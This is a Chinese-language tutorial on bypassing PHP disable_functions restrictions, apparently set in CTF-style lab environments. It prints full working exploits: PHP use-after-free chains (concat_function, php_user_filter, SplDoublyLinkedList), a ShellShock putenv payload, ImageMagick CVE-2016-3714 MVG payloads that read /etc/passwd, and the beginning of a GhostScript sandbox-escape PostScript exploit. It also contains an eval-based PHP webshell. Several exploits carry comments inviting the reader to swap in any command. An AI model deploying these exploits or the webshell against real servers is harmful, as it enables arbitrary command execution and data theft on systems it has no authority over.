%2C%2016%2C%20%220%22%2C%20STR_PAD_LEFT)%3B%0A%24name%20%3D%20strrev(leak2(%24prefix%20.%20s2b(hex2bin(%24name_addr)%2C%200x00)))%3B%0Aif(strstr(%24name%2C%20%22system%22))%20%7B%0Areturn%20bin2hex(leak2(%24prefix%20.%20hex2bin(str_pad(dechex(%24addr%20-%200x10%20%2B%200x08)%2C%208%2C%0A%220%22%2C%20STR_PAD_LEFT))))%3B%0A%7D%0A%7D%0Afor(%24i%20%3D%200%3B%24i%20%3C%200x800%3B%24i%2B%2B)%20%7B%0A%24addr%20%3D%20%24start%20%2B%200x20%20*%20%24i%3B%0A%24name_addr%20%3D%20bin2hex(leak2(%24prefix%20.%20hex2bin(str_pad(dechex(%24addr%20-%200x10)%2C%208%2C%0A%220%22%2C%20STR_PAD_LEFT))))%3B%0Aif%20(hexdec(%24name_addr)%20%3E%20%24unknown_func%5B2%5D%20%7C%7C%20hexdec(%24name_addr)%20%3C%0A%24unknown_func%5B3%5D)%20%7B%0Acontinue%3B%0A%7D%0A%24name_addr%20%3D%20str_pad(%24name_addr%2C%2016%2C%20%220%22%2C%20STR_PAD_LEFT)%3B%0A%24name%20%3D%20strrev(leak2(%24prefix%20.%20s2b(hex2bin(%24name_addr)%2C%200x00)))%3B%0Aif(strstr(%24name%2C%20%22system%22))%20%7B%0Areturn%20bin2hex(leak2(%24prefix%20.%20hex2bin(str_pad(dechex(%24addr%20-%200x10%20%2B%200x08)%2C%208%2C%0A%220%22%2C%20STR_PAD_LEFT))))%3B%0A%7D%0A%7D%0A%7D%0A%24rp%20%3D%20new%20ReflectionProperty(Test%3A%3Aclass%2C%20'prop')%3B%0A%24test%20%3D%20new%20Test%3B%0A%24test%20-%3E%20prop%20%3D%20new%20HelperHelperHelperHelperHelperHelperHelper%3B%0A%24abc%20%3D%20%24rp%20-%3E%20getType()%20-%3E%20getName()%3B%0A%24helper%20%3D%20new%20HelperHelperHelperHelperHelperHelperHelper()%3B%0Aif%20(strlen(%24abc)%20%3C%201000)%20%7B%0Aexit(%22UAF%20Failed!%22)%3B%0A%7D%0A%24helper%20-%3E%20a%20%3D%20%24helper%3B%0A%24php_heap%20%3D%20leak(0x10)%3B%0A%24helper%20-%3E%20a%20%3D%20function(%24x)%7B%7D%3B%0A%24std_object_handlers%20%3D%20leak(0x0)%3B%0A%24prefix%20%3D%20substr(%24php_heap%2C%200%2C%204)%3B%0A%2F%2Fecho%20%22Helper%20Object%20Address%3A%20%22%20.%20bin2hex(%24php_heap)%20.%20%22%5Cn%22%3B%0A%2F%2Fecho%20%22std_object_handlers%20Address%3A%20%22%20.%20bin2hex(%24std_object_handlers)%20.%20%22%5Cn%22%3B%0A%24closure_object%20%3D%20leak(0x10)%3B%0A%2F%2Fecho%20%22Closure%20Object%3A%20%22%20.%20bin2hex(%24closure_object)%20.%20%22%5Cn%22%3B%0Awrite(0x28%2C%20%22%5Cx06%22)%3B%0Aif(!(%24unknown_func%20%3D%20get_basic_funcs(%24std_object_handlers)))%20%7B%0Adie(%22Couldn't%20determine%20funcs%20address%22)%3B%0A%7D%0A%2F%2Fecho%20%22Find%20func's%20adress%3A%20%22%20.%20%24unknown_func%5B1%5D%20.%20%22%20-%3E%20%22%20.%20%24unknown_func%5B0%5D%20.%20%22%5Cn%22%3B%0Aif(!(%24system_address%20%3D%20getSystem(%24unknown_func)))%20%7B%0Adie(%22Couldn't%20determine%20system%20address%22)%3B%0A%7D%0A%2F%2Fecho%20%22Find%20system's%20handler%3A%20%22%20.%20%24system_address%20.%20%22%5Cn%22%3B%0Afor%20(%24i%20%3D%200%3B%24i%20%3C%20(0x130%20%2F%200x08)%3B%24i%2B%2B)%20%7B%0Awrite(0x308%20%2B%200x08%20*%20(%24i%20%2B%201)%2C%20leak2(%24prefix%20.%20s2b(%24closure_object%2C%200x08%20*%0A%24i)))%3B%0A%7D%0A%24abc%5B0x308%20%2B%200x40%5D%20%3D%20%22%5Cx01%22%3B%0Awrite(0x308%20%2B%200x70%2C%20hex2bin(%24system_address))%3B%0Awrite(0x10%2C%20%24prefix%20.%20hex2bin(dechex(s2n(%24php_heap)%20%2B%200x18%20%2B%200x308%20%2B%200x08)))%3B%0A%2F%2F%20echo%20%22Fake%20Closure%20Object%20Address%3A%20%22%20.%20bin2hex(%24prefix%20.%0A%2F%2F%20hex2bin(str_pad(dechex(s2n(%24php_heap)%20%2B%200x18%20%2B%200x308%20%2B%200x08)%2C%208%2C%20%220%22%2C%0A%2F%2F%20STR_PAD_LEFT)))%20.%20%22%5Cn%22%3B%0A(%24helper%20-%3E%20a)(%22%2Freadflag%22)%3B
在WebShell中提交即可執行命令。

image-20220110004152625
在審計蟻劍disable_functions插件也可以很明顯看出就是套用了官方的EXP

image-20220110004445060
PHP concat_function UAF
漏洞簡介:
此漏洞利用處理字符串連接的函數中的錯誤進行攻擊。如果滿足某些條件,諸如$a.$b之類的語句可能會導致內存損壞。
漏洞細節:https://bugs.php.net/bug.php?id=81705
漏洞利用條件:
?Linux 操作系統
?PHP 版本
?7.3 - all versions to date
?7.4 - all versions to date
?8.0 - all versions to date
?8.1 - all versions to date
靶場環境:
項目地址:https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/9
雖然該靶場是蟻劍用來測試iconv漏洞的,但經過測試此靶場也可成功復現該漏洞。
靶場突破:
這里用到了國外大佬mm0r1寫的EXP:
<?php
# PHP 7.3-8.1 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=81705
#ok
# This exploit should work on all PHP 7.3-8.1 versions
# released as of 2022-01-07
#
# Author: https://github.com/mm0r1
new Pwn("tac /flag"); // 可替換成需要執行的命令
class Helper { public $a, $b, $c; }
class Pwn {
const LOGGING = false;
const CHUNK_DATA_SIZE = 0x60;
const CHUNK_SIZE = ZEND_DEBUG_BUILD ? self::CHUNK_DATA_SIZE + 0x20 : self::CHUNK_DATA_SIZE;
const STRING_SIZE = self::CHUNK_DATA_SIZE - 0x18 - 1;
const HT_SIZE = 0x118;
const HT_STRING_SIZE = self::HT_SIZE - 0x18 - 1;
public function __construct($cmd) {
for($i = 0; $i < 10; $i++) {
$groom[] = self::alloc(self::STRING_SIZE);
$groom[] = self::alloc(self::HT_STRING_SIZE);
}
$concat_str_addr = self::str2ptr($this->heap_leak(), 16);
$fill = self::alloc(self::STRING_SIZE);
$this->abc = self::alloc(self::STRING_SIZE);
$abc_addr = $concat_str_addr + self::CHUNK_SIZE;
self::log("abc @ 0x%x", $abc_addr);
$this->free($abc_addr);
$this->helper = new Helper;
if(strlen($this->abc) < 0x1337) {
self::log("uaf failed");
return;
}
$this->helper->a = "leet";
$this->helper->b = function($x) {};
$this->helper->c = 0xfeedface;
$helper_handlers = $this->rel_read(0);
self::log("helper handlers @ 0x%x", $helper_handlers);
$closure_addr = $this->rel_read(0x20);
self::log("real closure @ 0x%x", $closure_addr);
$closure_ce = $this->read($closure_addr + 0x10);
self::log("closure class_entry @ 0x%x", $closure_ce);
$basic_funcs = $this->get_basic_funcs($closure_ce);
self::log("basic_functions @ 0x%x", $basic_funcs);
$zif_system = $this->get_system($basic_funcs);
self::log("zif_system @ 0x%x", $zif_system);
$fake_closure_off = 0x70;
for($i = 0; $i < 0x138; $i += 8) {
$this->rel_write($fake_closure_off + $i, $this->read($closure_addr + $i));
}
$this->rel_write($fake_closure_off + 0x38, 1, 4);
$handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
$this->rel_write($fake_closure_off + $handler_offset, $zif_system);
$fake_closure_addr = $abc_addr + $fake_closure_off + 0x18;
self::log("fake closure @ 0x%x", $fake_closure_addr);
$this->rel_write(0x20, $fake_closure_addr);
($this->helper->b)($cmd);
$this->rel_write(0x20, $closure_addr);
unset($this->helper->b);
}
private function heap_leak() {
$arr = [[], []];
set_error_handler(function() use (&$arr, &$buf) {
$arr = 1;
$buf = str_repeat("\x00", self::HT_STRING_SIZE);
});
$arr[1] .= self::alloc(self::STRING_SIZE - strlen("Array"));
return $buf;
}
private function free($addr) {
$payload = pack("Q*", 0xdeadbeef, 0xcafebabe, $addr);
$payload .= str_repeat("A", self::HT_STRING_SIZE - strlen($payload));
$arr = [[], []];
set_error_handler(function() use (&$arr, &$buf, &$payload) {
$arr = 1;
$buf = str_repeat($payload, 1);
});
$arr[1] .= "x";
}
private function rel_read($offset) {
return self::str2ptr($this->abc, $offset);
}
private function rel_write($offset, $value, $n = 8) {
for ($i = 0; $i < $n; $i++) {
$this->abc[$offset + $i] = chr($value & 0xff);
$value >>= 8;
}
}
private function read($addr, $n = 8) {
$this->rel_write(0x10, $addr - 0x10);
$value = strlen($this->helper->a);
if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }
return $value;
}
private function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = $this->read($addr);
$f_name = $this->read($f_entry, 6);
if($f_name === 0x6d6574737973) {
return $this->read($addr + 8);
}
$addr += 0x20;
} while($f_entry !== 0);
}
private function get_basic_funcs($addr) {
while(true) {
// In rare instances the standard module might lie after the addr we're starting
// the search from. This will result in a SIGSGV when the search reaches an unmapped page.
// In that case, changing the direction of the search should fix the crash.
// $addr += 0x10;
$addr -= 0x10;
if($this->read($addr, 4) === 0xA8 &&
in_array($this->read($addr + 4, 4),
[20180731, 20190902, 20200930, 20210902])) {
$module_name_addr = $this->read($addr + 0x20);
$module_name = $this->read($module_name_addr);
if($module_name === 0x647261646e617473) {
self::log("standard module @ 0x%x", $addr);
return $this->read($addr + 0x28);
}
}
}
}
private function log($format, $val = "") {
if(self::LOGGING) {
printf("{$format}\n", $val);
}
}
static function alloc($size) {
return str_shuffle(str_repeat("A", $size));
}
static function str2ptr($str, $p = 0, $n = 8) {
$address = 0;
for($j = $n - 1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p + $j]);
}
return $address;
}
}
?>
直接訪問即可執行命令。
PHP user_filter
漏洞簡介:
這是一個十分嚴重的內存破壞漏洞,而且早在十年前就已經有人在官網上提交過此漏洞的相關細節。如今這個漏洞依然存在。
漏洞細節:https://bugs.php.net/bug.php?id=54350
漏洞利用條件:
?Linux 操作系統
?PHP 版本
?5.* - exploitable with minor changes to the PoC
?7.0 - all versions to date
?7.1 - all versions to date
?7.2 - all versions to date
?7.3 - all versions to date
?7.4 < 7.4.26
?8.0 < 8.0.13
靶場環境:
項目地址:https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/7
雖然該靶場是蟻劍用來測試GC UAF漏洞的,但經過測試此靶場也可成功復現該漏洞。
靶場突破:
這里用到了國外大佬mm0r1寫的EXP:
<?php
# PHP 7.0-8.0 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=54350
#
# This exploit should work on all PHP 7.0-8.0 versions
# released as of 2021-10-06
#
# Author: https://github.com/mm0r1
pwn("tac /flag"); // 可替換成需要執行的命令
function pwn($cmd) {
define('LOGGING', false);
define('CHUNK_DATA_SIZE', 0x60);
define('CHUNK_SIZE', ZEND_DEBUG_BUILD ? CHUNK_DATA_SIZE + 0x20 : CHUNK_DATA_SIZE);
define('FILTER_SIZE', ZEND_DEBUG_BUILD ? 0x70 : 0x50);
define('STRING_SIZE', CHUNK_DATA_SIZE - 0x18 - 1);
define('CMD', $cmd);
for($i = 0; $i < 10; $i++) {
$groom[] = Pwn::alloc(STRING_SIZE);
}
stream_filter_register('pwn_filter', 'Pwn');
$fd = fopen('php://memory', 'w');
stream_filter_append($fd,'pwn_filter');
fwrite($fd, 'x');
}
class Helper { public $a, $b, $c; }
class Pwn extends php_user_filter {
private $abc, $abc_addr;
private $helper, $helper_addr, $helper_off;
private $uafp, $hfp;
public function filter($in, $out, &$consumed, $closing) {
if($closing) return;
stream_bucket_make_writeable($in);
$this->filtername = Pwn::alloc(STRING_SIZE);
fclose($this->stream);
$this->go();
return PSFS_PASS_ON;
}
private function go() {
$this->abc = &$this->filtername;
$this->make_uaf_obj();
$this->helper = new Helper;
$this->helper->b = function($x) {};
$this->helper_addr = $this->str2ptr(CHUNK_SIZE * 2 - 0x18) - CHUNK_SIZE * 2;
$this->log("helper @ 0x%x", $this->helper_addr);
$this->abc_addr = $this->helper_addr - CHUNK_SIZE;
$this->log("abc @ 0x%x", $this->abc_addr);
$this->helper_off = $this->helper_addr - $this->abc_addr - 0x18;
$helper_handlers = $this->str2ptr(CHUNK_SIZE);
$this->log("helper handlers @ 0x%x", $helper_handlers);
$this->prepare_leaker();
$binary_leak = $this->read($helper_handlers + 8);
$this->log("binary leak @ 0x%x", $binary_leak);
$this->prepare_cleanup($binary_leak);
$closure_addr = $this->str2ptr($this->helper_off + 0x38);
$this->log("real closure @ 0x%x", $closure_addr);
$closure_ce = $this->read($closure_addr + 0x10);
$this->log("closure class_entry @ 0x%x", $closure_ce);
$basic_funcs = $this->get_basic_funcs($closure_ce);
$this->log("basic_functions @ 0x%x", $basic_funcs);
$zif_system = $this->get_system($basic_funcs);
$this->log("zif_system @ 0x%x", $zif_system);
$fake_closure_off = $this->helper_off + CHUNK_SIZE * 2;
for($i = 0; $i < 0x138; $i += 8) {
$this->write($fake_closure_off + $i, $this->read($closure_addr + $i));
}
$this->write($fake_closure_off + 0x38, 1, 4);
$handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
$this->write($fake_closure_off + $handler_offset, $zif_system);
$fake_closure_addr = $this->helper_addr + $fake_closure_off - $this->helper_off;
$this->write($this->helper_off + 0x38, $fake_closure_addr);
$this->log("fake closure @ 0x%x", $fake_closure_addr);
$this->cleanup();
($this->helper->b)(CMD);
}
private function make_uaf_obj() {
$this->uafp = fopen('php://memory', 'w');
fwrite($this->uafp, pack('QQQ', 1, 0, 0xDEADBAADC0DE));
for($i = 0; $i < STRING_SIZE; $i++) {
fwrite($this->uafp, "\x00");
}
}
private function prepare_leaker() {
$str_off = $this->helper_off + CHUNK_SIZE + 8;
$this->write($str_off, 2);
$this->write($str_off + 0x10, 6);
$val_off = $this->helper_off + 0x48;
$this->write($val_off, $this->helper_addr + CHUNK_SIZE + 8);
$this->write($val_off + 8, 0xA);
}
private function prepare_cleanup($binary_leak) {
$ret_gadget = $binary_leak;
do {
--$ret_gadget;
} while($this->read($ret_gadget, 1) !== 0xC3);
$this->log("ret gadget = 0x%x", $ret_gadget);
$this->write(0, $this->abc_addr + 0x20 - (PHP_MAJOR_VERSION === 8 ? 0x50 : 0x60));
$this->write(8, $ret_gadget);
}
private function read($addr, $n = 8) {
$this->write($this->helper_off + CHUNK_SIZE + 16, $addr - 0x10);
$value = strlen($this->helper->c);
if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }
return $value;
}
private function write($p, $v, $n = 8) {
for($i = 0; $i < $n; $i++) {
$this->abc[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
private function get_basic_funcs($addr) {
while(true) {
// In rare instances the standard module might lie after the addr we're starting
// the search from. This will result in a SIGSGV when the search reaches an unmapped page.
// In that case, changing the direction of the search should fix the crash.
// $addr += 0x10;
$addr -= 0x10;
if($this->read($addr, 4) === 0xA8 &&
in_array($this->read($addr + 4, 4),
[20151012, 20160303, 20170718, 20180731, 20190902, 20200930])) {
$module_name_addr = $this->read($addr + 0x20);
$module_name = $this->read($module_name_addr);
if($module_name === 0x647261646e617473) {
$this->log("standard module @ 0x%x", $addr);
return $this->read($addr + 0x28);
}
}
}
}
private function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = $this->read($addr);
$f_name = $this->read($f_entry, 6);
if($f_name === 0x6d6574737973) {
return $this->read($addr + 8);
}
$addr += 0x20;
} while($f_entry !== 0);
}
private function cleanup() {
$this->hfp = fopen('php://memory', 'w');
fwrite($this->hfp, pack('QQ', 0, $this->abc_addr));
for($i = 0; $i < FILTER_SIZE - 0x10; $i++) {
fwrite($this->hfp, "\x00");
}
}
private function str2ptr($p = 0, $n = 8) {
$address = 0;
for($j = $n - 1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($this->abc[$p + $j]);
}
return $address;
}
private function ptr2str($ptr, $n = 8) {
$out = '';
for ($i = 0; $i < $n; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
private function log($format, $val = '') {
if(LOGGING) {
printf("{$format}\n", $val);
}
}
static function alloc($size) {
return str_shuffle(str_repeat('A', $size));
}
}
?>
直接訪問即可執行命令。
PHP SplDoublyLinkedList UAF
漏洞簡介:
PHP的SplDoublyLinkedList雙向鏈表庫中存在一個用后釋放漏洞,該漏洞將允許攻擊者通過運行PHP代碼來轉義disable_functions限制函數。在該漏洞的幫助下,遠程攻擊者將能夠實現PHP沙箱逃逸,并執行任意代碼。更準確地來說,成功利用該漏洞后,攻擊者將能夠繞過PHP的某些限制,例如disable_functions和safe_mode等等。
漏洞細節:https://bugs.php.net/bug.php?id=80111
有關該漏洞的詳細分析,可以參考下面這篇文章:
https://www.freebuf.com/articles/web/251017.html
漏洞利用條件:
?PHP版本
?PHP v8.0(Alpha)
?PHP v7.4.10及其之前版本
漏洞靶場:
項目地址:https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/9
雖然該靶場是蟻劍用來測試iconv漏洞的,但經過測試此靶場也可成功復現該漏洞。
靶場突破:
EXP出自這篇文章:https://xz.aliyun.com/t/8355#toc-3
<?php
error_reporting(0);
$a = str_repeat("T", 120 * 1024 * 1024);
function i2s(&$a, $p, $i, $x = 8) {
for($j = 0;$j < $x;$j++) {
$a[$p + $j] = chr($i & 0xff);
$i >>= 8;
}
}
function s2i($s) {
$result = 0;
for ($x = 0;$x < strlen($s);$x++) {
$result <<= 8;
$result |= ord($s[$x]);
}
return $result;
}
function leak(&$a, $address) {
global $s;
i2s($a, 0x00, $address - 0x10);
return strlen($s -> current());
}
function getPHPChunk($maps) {
$pattern = '/([0-9a-f]+\-[0-9a-f]+) rw\-p 00000000 00:00 0 /';
preg_match_all($pattern, $maps, $match);
foreach ($match[1] as $value) {
list($start, $end) = explode("-", $value);
if (($length = s2i(hex2bin($end)) - s2i(hex2bin($start))) >= 0x200000 && $length <= 0x300000) {
$address = array(s2i(hex2bin($start)), s2i(hex2bin($end)), $length);
echo "[+]PHP Chunk: " . $start . " - " . $end . ", length: 0x" . dechex($length) . "\n";
return $address;
}
}
}
function bomb1(&$a) {
if (leak($a, s2i($_GET["test1"])) === 0x5454545454545454) {
return (s2i($_GET["test1"]) & 0x7ffff0000000);
}else {
die("[!]Where is here");
}
}
function bomb2(&$a) {
$start = s2i($_GET["test2"]);
return getElement($a, array($start, $start + 0x200000, 0x200000));
die("[!]Not Found");
}
function getElement(&$a, $address) {
for ($x = 0;$x < ($address[2] / 0x1000 - 2);$x++) {
$addr = 0x108 + $address[0] + 0x1000 * $x + 0x1000;
for ($y = 0;$y < 5;$y++) {
if (leak($a, $addr + $y * 0x08) === 0x1234567812345678 && ((leak($a, $addr + $y * 0x08 - 0x08) & 0xffffffff) === 0x01)){
echo "[+]SplDoublyLinkedList Element: " . dechex($addr + $y * 0x08 - 0x18) . "\n";
return $addr + $y * 0x08 - 0x18;
}
}
}
}
function getClosureChunk(&$a, $address) {
do {
$address = leak($a, $address);
}while(leak($a, $address) !== 0x00);
echo "[+]Closure Chunk: " . dechex($address) . "\n";
return $address;
}
function getSystem(&$a, $address) {
$start = $address & 0xffffffffffff0000;
$lowestAddr = ($address & 0x0000fffffff00000) - 0x0000000001000000;
for($i = 0; $i < 0x1000 * 0x80; $i++) {
$addr = $start - $i * 0x20;
if ($addr < $lowestAddr) {
break;
}
$nameAddr = leak($a, $addr);
if ($nameAddr > $address || $nameAddr < $lowestAddr) {
continue;
}
$name = dechex(leak($a, $nameAddr));
$name = str_pad($name, 16, "0", STR_PAD_LEFT);
$name = strrev(hex2bin($name));
$name = explode("\x00", $name)[0];
if($name === "system") {
return leak($a, $addr + 0x08);
}
}
}
class Trigger {
function __destruct() {
global $s;
unset($s[0]);
$a = str_shuffle(str_repeat("T", 0xf));
i2s($a, 0x00, 0x1234567812345678);
i2s($a, 0x08, 0x04, 7);
$s -> current();
$s -> next();
if ($s -> current() !== 0x1234567812345678) {
die("[!]UAF Failed");
}
$maps = file_get_contents("/proc/self/maps");
if (!$maps) {
cantRead($a);
}else {
canRead($maps, $a);
}
echo "[+]Done";
}
}
function bypass($elementAddress, &$a) {
global $s;
if (!$closureChunkAddress = getClosureChunk($a, $elementAddress)) {
die("[!]Get Closure Chunk Address Failed");
}
$closure_object = leak($a, $closureChunkAddress + 0x18);
echo "[+]Closure Object: " . dechex($closure_object) . "\n";
$closure_handlers = leak($a, $closure_object + 0x18);
echo "[+]Closure Handler: " . dechex($closure_handlers) . "\n";
if(!($system_address = getSystem($a, $closure_handlers))) {
die("[!]Couldn't determine system address");
}
echo "[+]Find system's handler: " . dechex($system_address) . "\n";
i2s($a, 0x08, 0x506, 7);
for ($i = 0;$i < (0x130 / 0x08);$i++) {
$data = leak($a, $closure_object + 0x08 * $i);
i2s($a, 0x00, $closure_object + 0x30);
i2s($s -> current(), 0x08 * $i + 0x100, $data);
}
i2s($a, 0x00, $closure_object + 0x30);
i2s($s -> current(), 0x20, $system_address);
i2s($a, 0x00, $closure_object);
i2s($a, 0x08, 0x108, 7);
echo "[+]Executing command: \n";
($s -> current())("tac /flag"); // 可替換成需要執行的命令
}
function canRead($maps, &$a) {
global $s;
if (!$chunkAddress = getPHPChunk($maps)) {
die("[!]Get PHP Chunk Address Failed");
}
i2s($a, 0x08, 0x06, 7);
if (!$elementAddress = getElement($a, $chunkAddress)) {
die("[!]Get SplDoublyLinkedList Element Address Failed");
}
bypass($elementAddress, $a);
}
function cantRead(&$a) {
global $s;
i2s($a, 0x08, 0x06, 7);
if (!isset($_GET["test1"]) && !isset($_GET["test2"])) {
die("[!]Please try to get address of PHP Chunk");
}
if (isset($_GET["test1"])) {
die(dechex(bomb1($a)));
}
if (isset($_GET["test2"])) {
$elementAddress = bomb2($a);
}
if (!$elementAddress) {
die("[!]Get SplDoublyLinkedList Element Address Failed");
}
bypass($elementAddress, $a);
}
$s = new SplDoublyLinkedList();
$s -> push(new Trigger());
$s -> push("Twings");
$s -> push(function($x){});
for ($x = 0;$x < 0x100;$x++) {
$s -> push(0x1234567812345678);
}
$s -> rewind();
unset($s[0]);
直接訪問即可執行命令。
利用 ShellShock 漏洞 (CVE-2014-6271)漏洞簡介:
目前的bash使用的環境變量是通過函數名稱來調用的,導致漏洞出問題是以“(){”開頭定義的環境變量在命令ENV中解析成函數后,Bash執行并未退出,而是繼續解析并執行shell命令。核心的原因在于在輸入的過濾中沒有嚴格限制邊界,沒有做合法化的參數判斷。
攻擊者只需將惡意代碼寫入到環境變量中,傳到服務端,觸發服務器運行bash腳本即可執行惡意代碼。
有關ShellShock漏洞(Bash破殼漏洞)的詳細原理可以參考以下文章:
https://zhuanlan.zhihu.com/p/35579956
漏洞利用條件:
?putenv可用
?mail or error_log 可用,本例中禁用了 mail 但未禁用 error_log
?/bin/bash 存在 CVE-2014-6271 漏洞
?/bin/sh -> /bin/bash sh 默認的 shell 是 bash
存在shellshock漏洞的操作系統版本:

image-20220102001226416
靶場環境:
項目地址:https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/2
靶場環境的Bash版本:

image-20220102213116419
靶場突破:
連接到webshell后,寫入EXP:
<?php
putenv("PHP_flag=() { :; }; tac /flag > /var/www/html/flag.txt"); # 設置環境變量,將flag輸入到flag.txt中
error_log("a",1);
訪問EXP,刷新后得到flag:

image-20220102211012735
利用 ImageMagick RCE 漏洞 (CVE-2016-3714)漏洞簡介:
ImageMagick是一款使用量很廣的圖片處理程序,支持 PHP、Ruby、NodeJS 和 Python 等多種語言,使用非常廣泛。很多廠商都調用了這個程序進行圖片處理,包括圖片的伸縮、切割、水印、格式轉換等等。但近來有研究者發現,當用戶傳入一個包含『畸形內容』的圖片的時候,就有可能觸發命令注入漏洞。
ImageMagick有一個功能叫做delegate(委托),作用是調用外部的lib來處理文件。而調用外部lib的過程是使用系統的system命令來執行的。首先在delegate.xml文件中,定義了很多占位符,比如%i是輸入的文件名,%l是圖片exif label信息,而在之后的command中,部分占位符被拼接在其中,被拼接完的command命令行傳入了系統的system函數,導致任意命令執行。
關于該漏洞的原理詳解推薦參考P神的這篇文章:
https://www.leavesongs.com/PENETRATION/CVE-2016-3714-ImageMagick.html
漏洞利用條件:
?目標主機安裝了漏洞版本的ImageMagick(<= 6.9.3-9)
?安裝了php-imagick擴展,并且在php.ini中啟用
?php >=5.4
關于這個漏洞影響ImageMagick 6.9.3-9以前是所有版本,包括ubuntu源中安裝的ImageMagick。而官方在6.9.3-9版本中對漏洞進行了不完全的修復。所以,我們不能僅通過更新ImageMagick的版本來杜絕這個漏洞。
靶場環境:
使用直接使用docker拉取靶場鏡像:
docker pull medicean/vulapps:i_imagemagick_1 docker run -d -p 18081:80 --name=i_imagemagick_1 medicean/vulapps:i_imagemagick_1
進入容器,并為靶場添加disable_functions,在php.ini中添加如下:
disable_functions=pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system
然后重啟apache服務
之后在靶場的web根目錄中寫入webshell
<?php @eval($_POST['hacker']);?>
本地測試:
進入容器

image-20220108130501494
在容器中 /poc.png 文件內容如下:
push graphic-context viewbox 0 0 640 480 fill 'url(https://evalbug.com/"|ls -la")' pop graphic-context
構建時已經集成在容器中,可手動修改第 3 行的命令。
執行下面命令驗證漏洞:
$ convert /poc.png 1.png
如果看到 ls -al 命令成功執行,則存在漏洞。

image-20220108130716536
同時除了.mvg格式的圖片外,普通png的圖片也能觸發這個命令執行。
這是delete對%l,也就是exif label的處理:
<delegate decode="miff" encode="show" spawn="True" command=""/usr/bin/display" -delay 0 -window-group %[group] -title "%l " "ephemeral:%i""/>
將%l拼接到了/usr/bin/display命令中,所以現在就只需要將一個普通的png圖片加上惡意的exif信息,然后在滿足條件的情況下觸發即可。

image-20220109130012936
由于delegate.xml中設置了encode為show或者win,所以需要輸出為.show或者.win的情況下才會調用該delegate(換句話說,也就是普通的文件處理不會觸發這個命令)
靶場突破:
編寫一個惡意的png文件:
push graphic-context viewbox 0 0 640 480 fill 'url(https://evalbug.com/"|cat /etc/passwd > t.txt")' pop graphic-context
再對其進行base64編碼

image-20220109132902955
使用蟻劍連接WebShell,并上傳如下EXP:
<?php
function readImageBlob() {
$base64 = "cHVzaCBncmFwaGljLWNvbnRleHQKdmlld2JveCAwIDAgNjQwIDQ4MApmaWxsICd1cmwoaHR0cHM6
Ly9ldmFsYnVnLmNvbS8ifGNhdCAvZXRjL3Bhc3N3ZCA+IHQudHh0IiknCnBvcCBncmFwaGljLWNv
bnRleHQK";
$imageBlob = base64_decode($base64);
$imagick = new Imagick();
$imagick->readImageBlob($imageBlob);
header("Content-Type: image/png");
echo $imageBlob;
}
readImageBlob();
?>
直接訪問EXP即可執行命令

image-20220109133516234
利用 GhostScript 沙箱繞過 RCE 漏洞漏洞簡介:
GhostScript 被許多圖片處理庫所使用,如 ImageMagick、Python PIL 等,默認情況下這些庫會根據圖片的內容將其分發給不同的處理方法,其中就包括 GhostScript。
CVE-2018-16509:8 月 21 號,Tavis Ormandy 通過公開郵件列表,再次指出 GhostScript 的安全沙箱可以被繞過,通過構造惡意的圖片內容,將可以造成命令執行、文件讀取、文件刪除等漏洞:
CVE-2018-19475:2018年底來自Semmle Security Research Team的Man Yue Mo發表了CVE-2018-16509漏洞的變體CVE-2018-19475,可以通過一個惡意圖片繞過GhostScript的沙盒,進而在9.26以前版本的gs中執行任意命令。
CVE-2019-6116:2019年1月23日晚,Artifex官方在ghostscriptf的master分支上提交合并了多達6處的修復。旨在修復 CVE-2019-6116 漏洞,該漏洞由 Google 安全研究員 Tavis 于2018年12月3日提交。該漏洞可以直接繞過 ghostscript 的安全沙箱,導致攻擊者可以執行任意命令/讀取任意文件。
漏洞利用條件:
?GhostScript 版本 < 9.26
靶場環境:
項目地址:https://github.com/vulhub/vulhub/tree/master/ghostscript/CVE-2019-6116
靶場突破:
構造payload:exp.png
%!PS
% extract .actual_pdfpaintproc operator from pdfdict
/.actual_pdfpaintproc pdfdict /.actual_pdfpaintproc get def
/exploit {
(Stage 11: Exploitation...)=
/forceput exch def
systemdict /SAFER false forceput
userparams /LockFilePermissions false forceput
systemdict /userparams get /PermitFileControl [(*)] forceput
systemdict /userparams get /PermitFileWriting [(*)] forceput
systemdict /userparams get /PermitFileReading [(*)] forceput
% update
save restore
% All done.
stop
} def
errordict /typecheck {
/typecount typecount 1 add def
(Stage 10: /typecheck #)=only typecount ==
% The first error will be the .knownget, which we handle and setup the
% stack. The second error will be the ifelse (missing boolean), and then we
% dump the operands.
typecount 1 eq { null } if
typecount 2 eq { pop 7 get exploit } if
typecount 3 eq { (unexpected)= quit } if
} put
% The pseudo-operator .actual_pdfpaintproc from pdf_draw.ps pushes some
% executable arrays onto the operand stack that contain .forceput, but are not
% marked as executeonly or pseudo-operators.
%
% The routine was attempting to pass them to ifelse, but we can cause that to
% fail because when the routine was declared, it used `bind` but many of the
% names it uses are not operators and so are just looked up in the dictstack.
%
% This means we can push a dict onto the dictstack and control how the routine
% works.
<<
/typecount 0
